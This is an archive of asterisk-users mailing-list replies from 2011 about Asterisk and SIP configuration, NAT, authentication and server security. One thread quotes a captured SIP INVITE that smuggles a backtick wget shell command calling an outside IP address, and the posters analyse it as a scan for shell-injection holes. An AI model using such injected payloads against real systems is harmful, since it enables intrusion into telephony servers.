Re: [asterisk-users] Add SIP diversion header in originate from AMI?
Try run your outbound leg through a Local channel.
--
This message was painstakingly thumbed out on my mobile, so apologies for
brevity, errors, and general sloppiness.
Alex Balashov - Principal
Evariste Systems LLC
260 Peachtree Street NW
Suite 2200
Atlanta, GA 30303
Tel: +1-678-954-0670
Fax: +1-404-961-1892
Web: http://www.evaristesys.com/
On Oct 7, 2011, at 11:03 AM, Tobias Steen tobias.st...@s2.se wrote:
Hello!
I want to thank everyone who helped me out with tips for load balancing
asterisk machines in a cluster.
I have encountered a new problem that is related to SIP diversion headers in
the INVITE.
I make calls through the manager interface and now want to add a
SIP-Diversion header that changes the CallerID of a number that is not
available on the trunk, the CallerID to be visible externally is connected to
an external customer service hired by another company.
My question:
How can I add this header in a originateaction call via AMI?
Does the originated calls go through any context where I can add this header
with dialplan functions like AddSipHeader() or is it possible to do this
directly in the OriginateAction through AMI?
Example from voip-info:
[macro-diversion-header]
exten = s,1,SIPAddHeader(Diversion:
tel:+{ARG1}\;reason=user=busy\;screen=no\;privacy=off)
Best regards
Tobias
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Re: [asterisk-users] invite authentication error !?
This is just a speculative shot in the dark, but remember that the domain of the From URI is important, and that the authentication realm (domain) is part of the authentication credentials. So, what you have in your 'fromdomain' and 'host' settings on the peer does matter. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity, errors, and general sloppiness. Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Sep 30, 2011, at 3:16 AM, cnasterisk cnaster...@163.com wrote: hi, Dear all. I setted a sip account on a sip trunk. when a client call via this sip trunk, asterisk call failed on this trunk. I have captured the sip messages on the host where asterisk located, and found that: 1. asterisk send a INVITE message to remote sip proxy without proxy-authorization field. 2. the remote sip proxy send back a SIP/2.0 407 Proxy Authentication Required message. 3. asterisk send a INVITE message with proxy-authorization field. 4. remote proxy send back a 403(Forbidden) message， that is mean wrong password I also tested the sip account on a softphone, it works normal! why this happed？ and how can i solve it? 2011-09-30 kevin -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] C wrapper for AMI?
Are you looking for just a parser? A parser + state machine? Or a complete service that entails those components plus some sort of high-level API that exposes them to outside callers? -- This message was painstakingly thumbed out on my mobile, so apologies for brevity, errors, and general sloppiness. Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Sep 27, 2011, at 10:47 PM, Michelle Dupuis mdup...@ocg.ca wrote: Has anyone written a C wrapper to ease development with the AMI? I found a couple of c++ ones, but not C. Thanks! -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] continue in dialplan when hang up queue
On 09/26/2011 08:52 AM, Marcus Vinicius wrote: Hi, Is there a way to continue dialplan when a call is abandoned from application queue()? If the caller is waiting in a queue, and hang up before timeout, I'd like to execute an application in dialplan. I've tested h exten, but it doesn't work for this. Check out the 'c' option to Queue() -- available only in = 1.6. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Who is the creative mind behind changing Asterisk commands at CLI?
On 09/25/2011 02:23 PM, Bruce B wrote: Stop wishing for that. I like Asterisk and I will raise a voice when I feel uncomfortable with changes. You won't get an audience if the way you go about it is dickish. You're being a dick, and you know you're being a dick. You're just unwilling to admit it or intellectually engage with that. If you were earnest and sincere about your desire to contribute constructive criticism and effectuate change, you wouldn't start the thread with a sarcastic subject line like Who is the 'creative' mind behind changing Asterisk commands at CLI? That has a mocking, derisive inflection, and you know it has a mocking, derisive inflection. If you expect to be taken seriously, you need to align your behaviour with your stated objective--unless that's not actually your objective, and in fact your objective is to be an inflammatory jerk. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Who is the creative mind behind changing Asterisk commands at CLI?
On 09/25/2011 04:46 PM, jon pounder wrote: Sometimes people get such swelled heads they need a slap back to reality - I completely agree with him the changes were idiotic. Obviously the comments touched a nerve with you or you would not have replied. I don't think very highly of the changes either. However, your approach and Bruce's is not how to make the case to the developers. Aside from that, is it really that big of a deal? Is it that hard to learn a new command set and adapt? -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Question about Registrations
On 09/23/2011 09:59 PM, CDR wrote: In Trunk, or earlier, is it possible to execute an AGI or any piece of the Diaplan when a new peer registers successfully? No. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] single registration per user
If you can somehow waive the same username requirement, the solution is quite simple: exten = xxx,n,Dial(SIP/user1SIP/user2SIP/user3...SIP/usern,xxx) -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] SIP OPTIONS... Error?
Every request needs a From tag. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] SIP OPTIONS... Error?
On 09/19/2011 01:11 PM, Bruce Ferrell wrote: On 09/19/2011 09:33 AM, Alex Balashov wrote: Every request needs a From tag. Uh... OK. Isn't this a From tag: From: sip:p...@xx.xx.xx.xx Line three of what I send? No, that's a From URI. A From tag is a header parameter that is appended to the URI, delimited by a semicolon: From: sip:p...@xx.xx.xx.xx;tag=abc123xyz Although, RFC 3261 Section 12.1.1 (UAS behavior) does seem to contradict me: A UAS MUST be prepared to receive a request without a tag in the From field, in which case the tag is considered to have a value of null. However, it goes on to say: This is to maintain backwards compatibility with RFC 2543, which did not mandate From tags. In other words, a non-backward-compatible 3261 implementation will always generate From tags for all requests. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] SIP OPTIONS... Error?
On 09/19/2011 01:16 PM, Alex Vishnev wrote: no, you need a tag i.e From: sip:p...@xx.xx.xx.xx;tag=xxx, where xx is a unique identifier see the definition of SIP Dialog Dialog: A dialog is a peer-to-peer SIP relationship between two UAs that persists for some time. A dialog is established by SIP messages, such as a 2xx response to an INVITE request. A dialog is identified by a call identifier, local tag, and a remote tag. A dialog was formerly known as a call leg in RFC 2543. OPTIONS requests don't create a dialog, just a transaction. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] new sort of shell attack attempt via SIP?
On 09/11/2011 07:05 PM, Tom Browning wrote: INVITE sip:00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x SIP/2.0. My guess is that this attack presumes you are running a web GUI such as FreePBX, and that it does not sanitise embedded HTML. Thus, when reviewing your CDRs, for instance, you might click on such a link. A more sophisticated variant of that would embed script tags and a with a shortened URL (overall small enough to fit inside a SIP display name field or whatnot) to effectuate a cross-site scripting attack. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] new sort of shell attack attempt via SIP?
On 09/11/2011 07:35 PM, Tom Browning wrote: I disagree with the 'review CDR' angle for a number of reasons: a) there is a backtick in the URI trying to force shell and the proper wget command line to send results to /dev/null b) the V.php (at the url) appears to do nothing at all and might just be empty (for log scraping), url safety checks confirm c) the invites were sprayed across my entire IP address range To me, this is more like a scan for any SIP host that has shell injection vulerability. The list of vulnerable hosts is just a log scrape away at the server 91.223.89.94 On second thought, your interpretation does make much more sense. :-) -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] How is a ping test delay ms different from status in Asterisk sip show peers?
On 08/20/2011 02:24 PM, Bruce B wrote: What's the point of having the metrics then? They are inaccurate and deceiving. If there is no benefit to showing the real metrics then why not change it to Status = Reachable than showing a number? Because it's still more useful than not having it? If I see someone with an Asterisk RTT of ~200 ms in 'sip show peers', I know their phone is working fine. But if I see 3000 ms, they are probably lagged due to bandwidth contention or other problem. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] allow anonymous call
On 08/22/2011 01:38 AM, tseveendorj wrote: How to allow inbound anonymous call on asterisk ? allowguest = yes, in sip.conf [general] section. However, I do not advise it. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] REGISTER forwarding problem
On 08/04/2011 01:45 PM, Baybal Ni wrote: I see 401, but asterisk has my proxy in its trunk list. Can this be caused by anything else? Some sort of failure to match the proxy to the sip.conf peer. Is there any way to do it without using path extension? We do it by having the proxy rewrite the Contact header somewhat steganographically. For instance, if the REGISTER comes into the proxy with a Contact of sip:s...@xxx.xxx.xxx.xxx:5060, we extract those URI particles and do: remove_hf(Contact); append_hf(Contact: sip:s+xxx.xxx.xxx.xxx.xxx:5060\r\n); (s, xxx.xxx.xxx.xxx and 5060 are filled in by PVs) On the inbound leg, the request URI of the initial INVITE is parsed and these elements are selected back out. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] REGISTER forwarding problem
It doesn't consider the OpenSIPS host an authorised peer, so it's simply issuing the usual 401 challenge. Also, Asterisk doesn't currently support the Path extension, and you can't use Record-Route in REGISTERs. If you want your proxy to stay in the loop of subsequent traffic, you will need to come up with some way to get Asterisk to reach the UA through it. On 08/04/2011 12:59 PM, Baybal Ni wrote: Hello, I have a following setup: UA opensips REGISTER asterisk userdb, where opensips forwards register requests. For some reasons Asterisk 1.6.2.18 doesn't want to accept REGISTER forwarded through opensips. Here is SIP trace http://pastebin.com/ebV62r7b . What can possibly cause this behaviour? -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Codec translation from gsm to other codecs or from other codecs to gsm
On 07/31/2011 07:48 AM, bilal ghayyad wrote: Hi All; The asterisk version is 1.8.4.2 Why codec translation from and to gsm is not possible? I think it was possible in previous versions. I am missing something to have this codec translation possibility? What gives you the impression that it is not possible? -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] hide google voice number
On 07/28/2011 09:22 AM, A.H. Jos wrote: Hi list, I have Asterisk speaking with google talk, is there any way to set or at least hide my google voice number when I call others? Set a different 'callerid' on either your outgoing sip.conf peer? -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] MoH - conversion command
On 07/28/2011 10:53 AM, Mike wrote: Hi, I’ve been trying to get MoH files to sound decent. I’ve got a hold of Royalty-free Classical music (a safe choice for most of my customers) and I`ve been trying to convert them to the normal telephony/Asterisk format using sox. Unfortunately, it sounds really bad. I don’t expect concert hall quality of course, 8000KHz being what it is, but is there a better way to convert from good quality .wav files to 8000Khz ? Am I using the wrong tool? Can you elaborate as to what you mean by really bad? What acoustic artifacts are you encountering? Are you testing from a mobile phone? Cell phones use variable bit rate codecs and at times, vicious compression, depending on signal strength and other factors. Anything is going to sound like crap on them regardless. Make sure you are testing from a reasonable endpoint. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Why no traction for Windows version?
I think the real answer has mostly to do with the fact that no serious person, in their right mind, would run Windows in a server role in 2011. Not unless their hands are tied by legacy systems or big-corporate IT logic. Asterisk is firmly intended to run on servers. It's not a desktop app. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Jul 26, 2011, at 3:45 AM, Gilles codecompl...@free.fr wrote: On Tue, 26 Jul 2011 07:28:27 +, Soeren Malchow (MCon) soeren.malc...@mcon.net wrote: And asterisk just runs fine on linux why bother ? Because I, for one, would like to run Asterisk on my Windows workstation at home as an enhanced answering machine :-) -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] NAT yes
On 07/26/2011 09:19 AM, Flavio Miranda wrote: In a no natted environment if I letnat=yes on sip.conf it would cause some thing bad or it is irrelevant ? Anybody know ? There is no harm unless the endpoint you are dealing with does not do symmetric RTP. The nat=yes option assumes that it is okay to send RTP back to the source port from which it originated, irrespectively of what's in the SDP. This will cause one-way audio if the endpoint happens to want to receive RTP on a different port than the one it is sending it from. Almost all endpoints these days do symmetric RTP, though, so it's not a huge concern. That said, from a methodological and aesthetic perspective, it is better not to break standard RFC-compliant behaviour unnecessarily. Thus, I would not enable nat=yes unless there really is no direct network and transport-layer reachability to the endpoint. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] NAT yes
On 07/26/2011 09:29 AM, Flavio Miranda wrote: I am experiencing some one-way audio, that's the reason of the questions! There are many possible reasons for it, but asymmetric RTP + 'nat=yes' may be one of them. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Browser based SIP UA
On 07/26/2011 10:13 AM, Alexandru Oniciuc wrote: can anyone recommend a browser based SIP client that works well with Asterisk? I need something that requires authentication (based on Asterisks peer name and pass). What do you mean browser-based? Any particular preference of technology? Flash? Silverlight? Java applet? Browser extension? -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Securing Asterisk
On 07/26/2011 02:09 PM, CDR wrote: Only way to cope with hackers would be that Digium comes to its senses and accepts to disable any response to a REGISTER whose username is unknown. I cannot think of a good reason why Digium finds this proposal unacceptable, given the onslaught of hacking that we are seeing in the industry. It may take a single line of code and it would save millions of $$$. Not only because the hackers will never get in, but because we would save a huge CPU impact responding to hundreds of REGISTER attempts per minute. It is a NO brainer. Can please the Powers that Be reconsider and add this option to sip.conf? Please? No, because that's absolutely ridiculous. The proper, RFC-compliant behaviour is to return an authentication failure in response to invalid credentials. This mechanism is relied upon for legitimate functionality, such as letting the UAs of intended users know that they are sending incorrect credentials. As was pointed out before, Asterisk is a mostly application-level construct. Applications usually have some rudimentary means of self-defense such as ACLs, but applications are often conceptually distinct from the most appropriate means of securing them. That's what firewalls, SBCs, intrusion detection systems, etc. are for. Your position is equivalent to saying that stock SSH should not return authentication errors for invalid passwords. The proper solution to dictionary attacks is to firewall the SSH service, use RSA keys, VPNs, etc., not to tell the maintainers of the OpenSSH project to come to its senses. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Securing Asterisk
On 07/26/2011 02:33 PM, Bruce B wrote: I would have to err on the side of CDR to say that the only difference in analogy you provided (SSH vs Asterisk) is that people lose much more in VoIP than they ever did in SSH hacking. So, if this is an exceptional case bending a rule or two of RFC in favor of security won't harm specially if it's provided as an option. Again: _Applications are often conceptually distinct from the most appropriate means of securing them._ Moreover, as Kevin Fleming pointed out, refraining from responding to invalid credentials while continuing to responding to valid ones simply shifts the presentation of the information, from the point of view of the scanner. It doesn't accomplish your goal at all. After-all, RFC does stand for Referral For Comment as in always open to be improved. Adopted ones are standards to be followed. You're right, though; the IETF SIP working group welcomes incremental improvements; submit yours and see what they think. If you get your draft adopted, I am sure Digium would be more than happy to implement it in chan_sip. I think it's a good idea if such a security option is provided by default in Asterisk knowing it can save a lot of headache. If budget is an issue maybe make it a bounty and watch support pouring in... The issue is not lack of resources, but rather that it's conceptually incorrect behaviour, and that the UAS is the wrong place to solve this problem. The best advice that has been given in relation to this topic so far came from Lee Howard earlier today: http://lists.digium.com/pipermail/asterisk-users/2011-July/265012.html -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Securing Asterisk
On 07/26/2011 03:51 PM, Richard Kenner wrote: Can please the Powers that Be reconsider and add this option to sip.conf? What Powers that Be? This is open-source software! If you need an option in sip.conf, just add it! Or don't. Just because it's open source doesn't mean you should put dumb stuff in there that doesn't belong. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Securing Asterisk
On Jul 26, 2011, at 2:33 PM, Bruce B bruceb...@gmail.com wrote: people lose much more in VoIP than they ever did in SSH hacking. Um, what? -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Securing Asterisk
On 07/23/2011 11:39 PM, C F wrote: On Sat, Jul 23, 2011 at 1:38 PM, CDRvene...@gmail.com wrote: I beg to differ. Digium is hiding from the real world and somebody is Because you have no clue how to secure a box its someone elses fault? Of course! Does Call Detail Record need to repeat himself? -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] DISA password
Try not encasing the password in single quotes. Just supply it as a bare
argument.
--
Alex Balashov - Principal
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260 Peachtree Street NW
Suite 2200
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Tel: +1-678-954-0670
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Web: http://www.evaristesys.com/
On Jul 23, 2011, at 5:51 AM, Jonas Kellens jonas.kell...@telenet.be wrote:
Hello list,
how can I give a simple password to the DISA-application ?
The following :
exten = 1000,n,DISA('123456',from-TEST)
results in :
[Jul 23 13:47:51] WARNING[2357]: app_disa.c:255 disa_exec: DISA password file
'123456' not found on chan SIP/test6-0006
Kind regards,
Jonas.
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Re: [asterisk-users] Securing Asterisk - How to avoid sending, SIP/2.0 603 Declined
On 07/22/2011 07:32 PM, Bruce B wrote: Hello, I am wondering if there is a way to drop SIP packets for generic transactions? For example, only SIP PEERs are allowed to call in and receive ACK or Declined rather that those inviting a call who are not PEERs at all. Currently my Asterisk setup sends, *SIP/2.0 603 Declined *to any stranger invites because my dialplan includes Hangup(). Is there any way I can not send a 603 declined so to mislead the probe runner? There is really no way to accomplish that except with a firewall. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Securing Asterisk - How to avoid sending, SIP/2.0 603 Declined
Asterisk does not expose low-level control of its SIP stack. It's something intended to be configured and used at the application level. If you really want to do this without a firewall, put a Kamailio proxy in front of your Asterisk install and drop things as you see fit. But why go through the trouble? What's wrong with iptables? -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Jul 22, 2011, at 9:30 PM, Bruce B bruceb...@gmail.com wrote: Thanks for the input. I am really surprised. But yes, I want exactly what firewall does, DROP packet instead of REJECTING it. So, you are saying that one has to tamper the SIP stack to add the option to not respond to un-trusted sources? I really thought Asterisk might have this built in as a feature. I can't even do a dialplan search for a registered PEER because even if I find the IP to not be a trusted I still need to Hangup() on the invite which in turn send 603 Declined. There isn't really any work-around to this? Thanks again On Fri, Jul 22, 2011 at 7:39 PM, Alex Balashov abalas...@evaristesys.com wrote: On 07/22/2011 07:32 PM, Bruce B wrote: Hello, I am wondering if there is a way to drop SIP packets for generic transactions? For example, only SIP PEERs are allowed to call in and receive ACK or Declined rather that those inviting a call who are not PEERs at all. Currently my Asterisk setup sends, *SIP/2.0 603 Declined *to any stranger invites because my dialplan includes 